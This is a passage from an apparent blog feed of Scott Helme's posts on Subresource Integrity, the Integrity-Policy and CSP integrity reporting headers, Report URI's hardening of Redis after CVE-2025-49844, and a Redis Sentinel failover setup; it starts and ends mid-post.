JavaScript you're getting is the JavaScript you wanted... It's all done with the simple addition of an integrity attribute:</p><p></p><pre><code><script\nsrc=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js\" \nintegrity=\"sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=\"\ncrossorigin=\"anonymous\">\n</script></code></pre><p></p><p>That integrity attribute means the browser can now download that file and check the cryptographic fingerprint of the file it downloaded matches the one that you were expecting! If the file is tampered with or modified in some way, the browser can reject it. I have a full blog post about SRI, <a href=\"https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Subresource Integrity: Securing CDN loaded assets</a>, that I wrote <strong><em>more than a decade ago</em></strong> back in 2015!</p><p></p><h4 id=\"the-rise-of-sri\">The rise of SRI</h4><p>It's no surprise that SRI has become a very popular technology. It's free to use, it's an open web standard supported across all browsers, it's unbelievably simple, and it provides invaluable protection against some quite serious threats. Helping to drive that adoption, all of the major CDN providers have been supplying their script tags with SRI attributes for years, it could have stopped some pretty serious attacks in recent history [<a href=\"https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>], and it's now even a recommended strategy in compliance standards like PCI DSS [<a href=\"https://scotthelme.co.uk/pci-dss-4-0-its-time-to-get-serious-on-magecart/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>]. If you have existing assets that don't have SRI protection, and you'd like to add it, you can use free tools like our <a href=\"https://report-uri.com/home/sri_hash?ref=scotthelme.ghost.io\" rel=\"noreferrer\">SRI Hash Generator</a> to take the URL of existing assets and create an SRI compatible script or style tag. But there lies a little bit of a problem. How do you know what assets that you have across your website that are eligible to use SRI, but aren't currently using it? </p><p></p><h4 id=\"integrity-policy-to-the-rescue\">Integrity Policy to the rescue!</h4><p>We now have a way to effortlessly audit all of the dependencies across your application to ensure that they're using SRI. Integrity Policy is an open web standard, requires no code or agent to be deployed, and has no negative impact to speak of. It can be enabled with a single HTTP Response Header:</p><p></p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>As you can see here, I'm using the <code>Report-Only</code> version of the header as it's best to start by gathering information before you consider any enforcing action. I'm setting the policy to monitor JavaScript and I'm instructing it to send telemetry to the <code>default</code> reporting endpoint. If you're not familiar with the <a href=\"https://scotthelme.co.uk/introducing-the-reporting-api-nel-other-major-changes-to-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Reporting API</a> you can read my full blog post, but the summary is that you simply add a HTTP Response Header to let the browser know where to send the telemetry. This endpoint can also be used by a variety of different mechanisms so you can set it once and use it many times.</p><p></p><pre><code>Report-To: {\"group\":\"default\",\"max_age\":31536000,\"endpoints\":[{\"url\":\"https://helios.report-uri.com/a/t/g\"}],\"include_subdomains\":true}</code></pre><p></p><p>That's it! With both of those headers set, any time a browser loads one of your pages it will send an event to let you know if there is an asset being loaded without the use of SRI. As the Integrity Policy header was delivered in Report-Only mode, it will still allow the asset to load so there is no negative impact on your site. The idea here would be that you can now go and fix that problem by adding the integrity attribute to the asset, and then the events will no longer be sent.</p><p></p><h4 id=\"now-in-open-beta\">Now in open beta!</h4><p>Integrity Policy is now available on our site and is free to access for all customers during the open beta period. After announcing another brand new feature only a couple of months ago, <a href=\"https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a>, these two features will form part of our new Integrity Suite offering that will become generally available in Q1 2026.</p><p>There's no doubt that these new capabilities are a fundamental improvement in client-side security, allowing for a level of native protection in the browser that is simply unmatched. Whilst the details we've covered in the CSP Integrity blog post, and now in this Integrity Policy blog post, are exciting, we still have a <strong><em>lot</em></strong> more to announce in the coming months!</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Integrity Policy",
              "term": "Integrity Policy",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            },
            {
              "label": "integrity",
              "term": "integrity",
              "url": null
            },
            {
              "label": "Integrity Suite",
              "term": "Integrity Suite",
              "url": null
            }
          ]
        },
        {
          "id": "68e7a6e405c3450001b53f41",
          "title": "CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded",
          "description": "<p>We're very public and open about our infrastructure at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, having written many blog posts about how we process billions of telemetry events every single week. As a result, it's no secret that we use Redis quite heavily across our infrastructure, and some have asked</p>",
          "url": "https://scotthelme.ghost.io/cve-2025-49844-the-redis-cvss-10-0-vulnerability-and-how-we-responded/",
          "published": "2025-10-14T08:11:47.000Z",
          "updated": "2025-10-14T08:11:47.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp\" alt=\"CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded\"><p>We're very public and open about our infrastructure at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, having written many blog posts about how we process billions of telemetry events every single week. As a result, it's no secret that we use Redis quite heavily across our infrastructure, and some have asked how the recent security vulnerability discovered in Redis has impacted us.</p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/10/report-uri.png\" class=\"kg-image\" alt=\"CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded\" loading=\"lazy\" width=\"946\" height=\"525\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/10/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/10/report-uri.png 946w\" sizes=\"(min-width: 720px) 720px\"></a></figure><h4 id=\"tldr\">TLDR;</h4><p>The short answer is that <a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-49844?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CVE-2025-49844</a> hasn't impacted us at all, largely because of our strict stance on security and existing measures that we already had in place. That said, any time something big happens in the industry that might have affected us, we take a look at how we might improve even further.</p><p></p><h4 id=\"immediate-response\">Immediate response</h4><p>This advisory from Redis (<a href=\"https://github.com/redis/redis/security/advisories/GHSA-4789-qfc9-5f9q?ref=scotthelme.ghost.io\" rel=\"noreferrer\">GHSA-4789-qfc9-5f9q</a>) is the first visibility I had into the issue and the specified workaround was to use the ACL feature in Redis to restrict access to the commands that might be abused.</p><p></p><blockquote>An additional workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.</blockquote><p></p><p>This is an easy protection to implement and I know we don't use the <code>EVAL</code> or <code>EVALSHA</code> commands, so we could get this in place immediately and deploy it across the fleet via Ansible.</p><p></p><pre><code># Disable use of the EVAL and EVALSHA commands\nredis-cli ACL SETUSER {user} -EVAL -EVALSHA\n# Persist the change to config so it survives restarts\nredis-cli CONFIG REWRITE</code></pre><p></p><p>With that in place, we can take a little more time to investigate the issue and plan for the upgrade from Redis 8.2.1 to 8.2.2 to properly resolve the problem. </p><p></p><h4 id=\"upgrading-redis\">Upgrading Redis</h4><p>As fate would have it, ~2 months ago I published this blog post: <a href=\"https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">We're going High Availability with Redis Sentinel!</a> In that blog post, I described our new High Availability setup using Redis Sentinel to give us failover capabilities between our new Primary and Replica caches. I also explained how one of the major benefits of the upgrade would be that updating our Redis server binary becomes a whole lot easier, and here we are!</p><p></p><figure class=\"kg-card kg-image-card kg-card-hascaption\"><img src=\"https://scotthelme.ghost.io/content/images/2025/10/image.png\" class=\"kg-image\" alt=\"CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded\" loading=\"lazy\" width=\"562\" height=\"441\"><figcaption><span style=\"white-space: pre-wrap;\">Our Redis Sentinels fronting our Primary and Replica caches</span></figcaption></figure><p></p><p>With our new HA setup, it's simply a case of updating and upgrading the Replica cache, promoting it to Primary, and then updating what previously was the Primary cache but is now a Replica. Done!</p><pre><code>redis-cli info\n# Server\nredis_version:8.2.2\nredis_git_sha1:00000000\nredis_git_dirty:1\nredis_build_id:8ade872ac64c6931\nredis_mode:standalone\n...</code></pre><p></p><h4 id=\"existing-protections-and-investigations\">Existing protections and investigations</h4><p>Our Redis caches reside on a private network and are not at any time accessible from the public Internet. Further to that, we have firewall rules in place to only allow known IP addresses on our private network to have access to the Redis caches. Just to go the extra distance, we then only allow our application servers with the appropriate roles to have access to the appropriate Redis caches that they require to fulfil that role! Our network access is already locked down as tight as we can get it and there is no anomalous network activity in our logs.</p><p>Looking at the Redis caches themselves, we can use <code>commandstats</code> to get per-command counters on how many times each command has been called against the cache since the server started. To reset the counters it would require access to restart <code>redis-server</code> or call <code>CONFIG RESETSTAT</code>, and the command counters all look aligned with typical volumes before the update. Running the command, we can see no indication of the counts being reset, and there are no instances of <code>EVAL</code> or <code>EVALSHA</code> being called on the servers.</p><p></p><h4 id=\"further-hardening\">Further Hardening</h4><p>With some quick research looking at other powerful commands, I could see that we currently don't require the use of the <code>SCRIPT</code> or <code>FUNCTION</code> commands, so they presented themselves as another good opportunity to further reduce the commands available. </p><p></p><pre><code># Disable use of the SCRIPT and FUNCTION commands\nredis-cli ACL SETUSER {user} -SCRIPT -FUNCTION\n# Persist the change to config so it survives restarts\nredis-cli CONFIG REWRITE</code></pre><p></p><p>There are some other commands that I want to restrict, but they require further investigation to ensure there are no adverse effects. To wrap things up and make sure that all of these restrictions are working as intended, we can try to run some of the commands that should now be blocked.</p><p></p><pre><code>redis-cli EVAL \"return 1\" 0\n(error) NOPERM User default has no permissions to run the 'eval' command\nredis-cli ACL LOG 1\n1)  1) \"count\"\n    2) (integer) 1\n    3) \"reason\"\n    4) \"command\"\n    5) \"context\"\n    6) \"toplevel\"\n    7) \"object\"\n    8) \"eval\"\n    9) \"username\"\n   10) \"default\"\n   11) \"age-seconds\"\n   12) \"54.578\"\n   13) \"client-info\"\n   14) \"id=49 addr=*snip*:59092 laddr=*snip*:6379 fd=32 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=35 qbuf-free=20439 argv-mem=13 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=37797 events=r cmd=eval user=default redir=-1 resp=2 lib-name= lib-ver= io-thread=0 tot-net-in=35 tot-net-out=0 tot-cmds=0\"\n   15) \"entry-id\"\n   16) (integer) 0\n   17) \"timestamp-created\"\n   18) (integer) 1760018943783\n   19) \"timestamp-last-updated\"\n   20) (integer) 1760018943783</code></pre><p></p><p>The <code>EVAL</code> command was blocked as expected and the <code>ACL LOG</code> now has an entry to show that the block happened, which makes it easier to track the attempted usage of blocked commands in the future too.</p><p>With the fleet now updated to Redis 8.2.2, the additional protections in place, and no indication that we (or anyone else) were affected, I'm happy to consider this resolved!</p><p></p><h4 id=\"thats-a-lot-of-data\">That's a lot of data!</h4><p>If you're curious just how much data we process, you can see my recent blog post <a href=\"https://scotthelme.co.uk/trillion-with-a-t-surpassing-2-trillion-events-processed/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀</a> which covers the details. That blog post also announced the launch of our public dashboard that provides a live insight into our telemetry volumes, along with heaps of other interesting data, so check that out here too: <a href=\"https://dash.report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Public Dashboard</a></p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Redis",
              "term": "Redis",
              "url": null
            }
          ]
        },
        {
          "id": "68bfe86ad26c1a00012b4a80",
          "title": "Capture JavaScript Integrity Metadata using CSP!",
          "description": "<p>Today we're announcing the open beta of a brand new and incredibly powerful feature on the Report URI platform, CSP Integrity! Having the ability to collect integrity metadata for scripts running on your site opens up a whole new realm of possibilities, and it couldn't be</p>",
          "url": "https://scotthelme.ghost.io/capture-javascript-integrity-metadata-using-csp/",
          "published": "2025-09-29T10:51:09.000Z",
          "updated": "2025-09-29T10:51:09.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp\" alt=\"Capture JavaScript Integrity Metadata using CSP!\"><p>Today we're announcing the open beta of a brand new and incredibly powerful feature on the Report URI platform, CSP Integrity! Having the ability to collect integrity metadata for scripts running on your site opens up a whole new realm of possibilities, and it couldn't be simpler to get started. If you have a few seconds spare, you have enough time to get started now!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/09/report-uri.png\" class=\"kg-image\" alt=\"Capture JavaScript Integrity Metadata using CSP!\" loading=\"lazy\" width=\"946\" height=\"525\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/09/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/09/report-uri.png 946w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"a-revolution-for-content-security-policy\">A revolution for Content Security Policy</h4><p>Content Security Policy (CSP) is an incredibly powerful mechanism, allowing you to leverage control over a wide range of resources on your site. You can control where resources are loaded from or where data is sent to, and you can be alerted when things don't go according to plan. But regular readers will already know all of the existing benefits of CSP, so today, let's focus on the latest addition to the CSP arsenal; the collection of integrity metadata.</p><p>It's so easy to get started that we can boil it down to two simple steps. </p><ol><li>Ask the browser to send integrity metadata for scripts.</li><li>Tell it where to send the integrity metadata for scripts.</li></ol><p></p><p>That's really all there is to it, so let's break it down. If you already have a CSP in place, you will need to add the <code>'report-sha256'</code> keyword to your <code>script-src</code> directive, and if you don't have a CSP in place, you can add one with just this directive. This is what your CSP <code>script-src</code> might look like after you add the new keyword, which I've highlighted in bold:</p>\n<!--kg-card-begin: html-->\n<pre>script-src 'self' some-cdn.com <b>'report-sha256'</b>;</pre>\n<!--kg-card-end: html-->\n<p></p><p>Now that you've added the new keyword to your policy, the browser will send integrity metadata for scripts that load on your site, but you will need to tell the browser where to send it, and for that, we will use the <a href=\"https://scotthelme.co.uk/introducing-the-reporting-api-nel-other-major-changes-to-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Reporting API</a>. All you have to do to enable this is add a new response header:</p><pre><code>Report-To: {\"group\":\"default\",\"max_age\":31536000,\"endpoints\":[{\"url\":\"https://scotthelme.report-uri.com/a/d/g\"}],\"include_subdomains\":true}</code></pre><p></p><p>This defines a new group called <code>default</code> and sets the destination for telemetry data to <code>https://scotthelme.report-uri.com/a/d/g</code> . Please note that you should copy this value from the Setup page in <em>your</em> Report URI account as it will be unique to you and the one shown here is my unique URL for demonstration purposes. </p><p>With that, we can now link the two together by adding the <code>report-to</code> directive to your CSP:</p>\n<!--kg-card-begin: html-->\n<pre>script-src 'self' some-cdn.com 'report-sha256'; <b>report-to default;</b></pre>\n<!--kg-card-end: html-->\n<p></p><p>All you have to do now is sit back and wait for the telemetry to start rolling in!</p><p></p><h4 id=\"surfacing-this-in-the-ui\">Surfacing this in the UI</h4><p>Processed in the same way that any telemetry sent to us would be, this data will only take a few minutes to start showing up in your dashboard. I've used our 'aggregate' search filter here to grab a list of unique dependencies that have been loaded on our site, and we can start to see the value we can extract from this data.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/09/image.png\" class=\"kg-image\" alt=\"Capture JavaScript Integrity Metadata using CSP!\" loading=\"lazy\" width=\"1531\" height=\"870\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/09/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/09/image.png 1000w, https://scotthelme.ghost.io/content/images/2025/09/image.png 1531w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>If we focus on just one of these entries, we can see that a Bootstrap JS file has been loaded.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/09/image-1.png\" class=\"kg-image\" alt=\"Capture JavaScript Integrity Metadata using CSP!\" loading=\"lazy\" width=\"525\" height=\"97\"></figure><p></p><p>The browser has reported that the hash of the asset is <code>sha256-wMCQIK229gKxbUg3QWa544ypI4OoFlC2qQl8Q8xD8x8=</code>, which is helpful in various different ways. If we were loading this file from an external location for example, we could now track the hash over time to see if the file we are being served has changed. We can also use the hash to try and identify if the file we were served is the file we were expecting.</p><p></p><h4 id=\"identifying-verified-javascript-files\">Identifying verified JavaScript files</h4><p>As you can see from the screenshot above, we have identified that the particular file loaded was a verified file from the 'bootstrap' package, hence the green marker with the library name. Using the hash as a fingerprint to uniquely identify a file is a common approach, but you need to have a reliable and <em>verified</em> library of fingerprints to reference against in order to lookup the fingerprint and know for sure. This is something that we've been working hard to build and so far we have verified fingerprints for <strong><em>4,268,847</em></strong> unique JS files from common packages, libraries and dependencies across the Web! As we have the fingerprints for each of those files stored in their sha256, sha 384 and sha512 variants, it means we have a running total of <strong><em>12,806,541</em></strong> fingerprints in our database so far! This is a huge amount of valuable information to draw from, and it's something that's available right there in the dashboard.</p><p>That's not all, though, there's something even better to add!</p><p></p><h4 id=\"identifying-javascript-vulnerabilities\">Identifying JavaScript vulnerabilities</h4><p>You may notice that the marker for that file is green, and that means that there are no known issues reported with that particular version of that file/library. If you keep scrolling through your data, you might, if you're unlucky, come across a file that has a red marker instead...</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/09/image-2.png\" class=\"kg-image\" alt=\"Capture JavaScript Integrity Metadata using CSP!\" loading=\"lazy\" width=\"525\" height=\"95\"></figure><p></p><p>This particular file is from a version of the Bootstrap library that has a known security vulnerability, and we can now surface that information directly to you in our UI. If you click the warning, it will open a small dialog box to give you some quick information on what the minimum version of the library you need to upgrade to is, and it will even link out to the disclosure notice for the vulnerability.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/09/image-3.png\" class=\"kg-image\" alt=\"Capture JavaScript Integrity Metadata using CSP!\" loading=\"lazy\" width=\"527\" height=\"223\"></figure><p></p><p>This will be an awesome feature to have, allowing you to keep a close eye on exactly how problematic your JS dependencies are, and potentially avoiding costly issues from using dependencies with known vulnerabilities. </p><p></p><h4 id=\"looking-at-the-new-telemetry-payload\">Looking at the new telemetry payload</h4><p>Defined in the specification as a <code>csp-hash</code> report, it has a very familiar JSON payload, similar to your typical CSP violation report. Here's a sample of one of our payloads:</p><p></p><pre><code>{\n    \"csp-hash\": {\n        \"destination\": \"script\",\n        \"documentURL\": \"https://report-uri.com/login/\",\n        \"hash\": \"sha256-wMCQIK229gKxbUg3QWa544ypI4OoFlC2qQl8Q8xD8x8=\",\n        \"subresourceURL\": \"https://cdn.report-uri.com/libs/refresh/bootstrap/bootstrap.bundle.min.js\",\n        \"type\": \"subresource\"\n    }\n}</code></pre><p></p><p>Breaking the fields inside this payload down, it's fairly self-explanatory:</p><p><code>destination</code> - Only <code>script</code> is supported for now, with new destinations being planned for future updates.</p><p><code>documentURL</code> - This is the URL the browser was visiting when the reported resource was observed.</p><p><code>hash</code> - This is the hash of the resource, which in this case is the sha256 hash as that is what we requested.</p><p><code>subresourceURL</code> - This is the URL of the script that was requested and the hash is of the content of this file.</p><p><code>type</code> - Only <code>subresource</code> is supported for now, with the ability to expand to new types in the future.</p><p></p><p>Now, with the <code>'report-sha256'</code> keyword in place, one of these payloads will be sent for each script that loads on your page!</p><p></p><h4 id=\"quick-tips\">Quick Tips</h4><p>I'm sure many people will have some questions that spring to mind after reading this, so let me address some of the most common ones that I encountered during our closed beta testing. </p><p></p><h6 id=\"do-i-need-to-build-a-full-csp\">Do I need to build a full CSP?</h6><p>No! You don't need any CSP at all, you can start monitoring scripts and collecting integrity metadata right away:</p><pre><code>Content-Security-Policy-Report-Only: script-src 'report-sha256'; report-to default</code></pre><p></p><h6 id=\"is-integrity-metadata-sent-for-scripts-that-load-or-scripts-that-are-blocked\">Is integrity metadata sent for scripts that load, or scripts that are blocked?</h6><p>Integrity metadata is only sent for scripts that load on your page. If a script is blocked, it is not requested, so there is no file to provide integrity metadata for.</p><p></p><h6 id=\"will-this-use-a-lot-of-my-event-quota\">Will this use a lot of my event quota?</h6><p>No, we're going to downsample CSP Integrity reports for all customers at a rate of 1/10, so whilst it will of course use some event quota, it should not use excessive amounts.</p><p></p><h6 id=\"what-happens-after-the-open-beta\">What happens after the open beta?</h6><p>CSP Integrity will become an add-on feature for customers on our Ultimate plan and customers on an Enterprise plan in 2026.</p><p></p><h4 id=\"get-started-now\">Get started now</h4><p>I will be announcing a webinar to go through the new CSP Integrity feature so keep an eye out for that, but everything you need to get started is right here. It really is as simple as adding those two new values to your CSP and just waiting for the valuable data to start rolling in!</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp",
              "image": "https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "CSP",
              "term": "CSP",
              "url": null
            },
            {
              "label": "integrity",
              "term": "integrity",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            }
          ]
        },
        {
          "id": "68976e9629f3b600011277d4",
          "title": "We're going High Availability with Redis Sentinel!",
          "description": "<p>We've just deployed some mega updates to our infrastructure at Report URI that will give us much more resilience in the future, allow us to apply updates to our servers even faster, and will probably go totally unnoticed from the outside!</p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/report-uri.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"946\" height=\"525\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/08/report-uri.png 946w\" sizes=\"(min-width: 720px) 720px\"></a></figure><h4 id=\"our-previous-redis-setup\">Our previous Redis setup</h4><p>I've</p>",
          "url": "https://scotthelme.ghost.io/were-going-high-availability-with-redis-sentinel/",
          "published": "2025-08-18T12:46:41.000Z",
          "updated": "2025-08-18T12:46:41.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp\" alt=\"We're going High Availability with Redis Sentinel!\"><p>We've just deployed some mega updates to our infrastructure at Report URI that will give us much more resilience in the future, allow us to apply updates to our servers even faster, and will probably go totally unnoticed from the outside!</p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/report-uri.png\" class=\"kg-image\" alt=\"We're going High Availability with Redis Sentinel!\" loading=\"lazy\" width=\"946\" height=\"525\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/08/report-uri.png 946w\" sizes=\"(min-width: 720px) 720px\"></a></figure><h4 id=\"our-previous-redis-setup\">Our previous Redis setup</h4><p>I've talked about our infrastructure openly before, but I will give a brief overview of what we were working with and why I wanted to upgrade. We were using Redis in two places, one instance for our application session store, which is fairly self explanatory, and one instance for our inbound telemetry cache. Both of these isolated instances of Redis have been upgraded in the same way, but I will focus on the telemetry cache as this is the one that faces a significant amount of load! Here's how it works.</p><p>Visitors head to the websites of our customers, and they may or may not send some telemetry to us depending on whether there are any security, performance or other concerns to report to us about the website they were visiting. These telemetry events are received and are placed directly in to Redis because there are simply too many for us to process them in real-time. Our servers, that we refer to as 'consumers', will then feed telemetry from this Redis cache and process it, applying normalisation, filtering, checking it against our Threat Intelligence, and doing a whole heap of other work, before placing it in persistent storage, at which point it becomes available to customers in their dashboards. This 'ingestion pipeline' can take anywhere from 20-30 seconds during quiet periods, and spike up to 6-7 minutes during our busiest periods, but it is reliable and consistent. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-10.png\" class=\"kg-image\" alt=\"We're going High Availability with Redis Sentinel!\" loading=\"lazy\" width=\"883\" height=\"187\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-10.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-10.png 883w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>If you'd like to see some real data about the volumes of telemetry we process, what our peaks and troughs look like, and a whole bunch of other interesting metrics, you should absolutely check out our <a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Public Dashboard</a>. That has everything from telemetry volumes, client types, regional traffic patterns, a global heat map and even a Pew Pew Map!!</p><p></p><h4 id=\"a-single-point-of-failure\">A single point of failure</h4><p>Both of our caches, the session cache and the telemetry cache, were single points of failure, and it's never a good idea to have a single point of failure. We've never had an issue with either of them, but it's been something I've wanted to address for a while now. Not only that, but it makes updating and upgrading them much harder work too. The typical process for our upgrades has been to bring up a new server, fully patch and update it and then deploy Redis along with our configuration, with the final step being a data migration consideration. Using Ansible to do the heavy lifting makes this process easier, but not easy. The session cache of course needs a full data migration and then the application servers can flip from the old one to the new one, which isn't so bad because the data is relatively small. The telemetry cache is a little trickier because it involves pointing the inbound telemetry to the new cache, while allowing the consumers to drain down the old telemetry cache before moving them over too. As I say, it's not impossible, but it could be a lot better, and we still have that concern of them both being a single point of failure. </p><p></p><h4 id=\"redis-sentinel-to-the-rescue\">Redis Sentinel to the rescue!</h4><p>You can read the official docs on <a href=\"https://redis.io/docs/latest/operate/oss_and_stack/management/sentinel/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Redis Sentinel</a> but I'm going to cover everything you need to know here if you'd like to keep reading. Redis Sentinel provides a few fundamental features that we're now leveraging to provide a much more resilient service. </p><p><strong>Monitoring:</strong> Redis Sentinels can monitor a pool of Redis caches to determine if they are healthy and available. </p><p><strong>Failover:</strong> Redis Sentinels will promote and demote Redis caches between the roles of Primary and Replica based on their health. </p><p><strong>Configuration:</strong> Clients connect to a Redis Sentinel to get the ip/port for the current Primary cache.</p><p></p><p>Leveraging these features, we've now created a much more robust solution that looks like this:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/08/image-8.png\" class=\"kg-image\" alt=\"We're going High Availability with Redis Sentinel!\" loading=\"lazy\" width=\"1317\" height=\"1034\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-8.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-8.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-8.png 1317w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To give an overview of what's happening here, I will break it down in to the following:</p><p><strong>Redis Caches:</strong> These have an assigned role of either Primary or Replica, and for the purposes of our diagram, the red one will be the Primary and the yellow one will be the Replica. If you have more than two caches in your pool, there would be more Replicas. The role of the Replica is to keep itself fully aligned with the Primary so it can become the Primary at any point if needed. The role of the Primary is to serve the clients as their Redis cache and is where our inbound telemetry is being sent.</p><p><strong>Redis Sentinels:</strong> These severs do a few things, so let's break it down.</p><ol><li>They're providing ip/port information to clients about which cache is the current Primary. Clients don't know about the caches or how many there are, nor do they know which one is the Primary, so they first ask a Sentinel which cache is the current Primary and then connect to that one. Note that no cache activity passes through the Sentinels, all they do is provide the information to the client on where to connect, and the client will then connect directly to the cache.</li><li>They're monitoring the health of the Primary and Replica/s to detect any issues. If a problem is detected with the Primary, it is put to a vote to see if a Replica should be promoted to Primary. Our configuration requires a quorum of 3/4 votes to successfully promote a Replica to Primary, and demote the Primary to a Replica when it returns. Once that happens, the Sentinels will reconfigure all caches to follow the new Primary, and start providing the new Primary ip/port information to clients.</li><li>They're always monitoring for the addition of new caches or Sentinels. There is no configuration for how many Sentinels or caches there are, they are discovered by talking to the current Primary and getting information on how many Replicas and Sentinels are connected to that Primary.</li></ol><p></p><h4 id=\"failing-over\">Failing over</h4><p>Of course, all of this work is designed to give us a much more resilient solution, and it will also make our work for installing updates and upgrades much easier too. There are two scenarios when the Sentinels can failover from a Primary to a Replica, and they are when the Sentinels detect an issue with the Primary and vote to demote it, or when we manually trigger a failover.</p><p>When we're getting ready to do some upgrades, the first step will be to take the Replica down so the Sentinels notice and remove it as 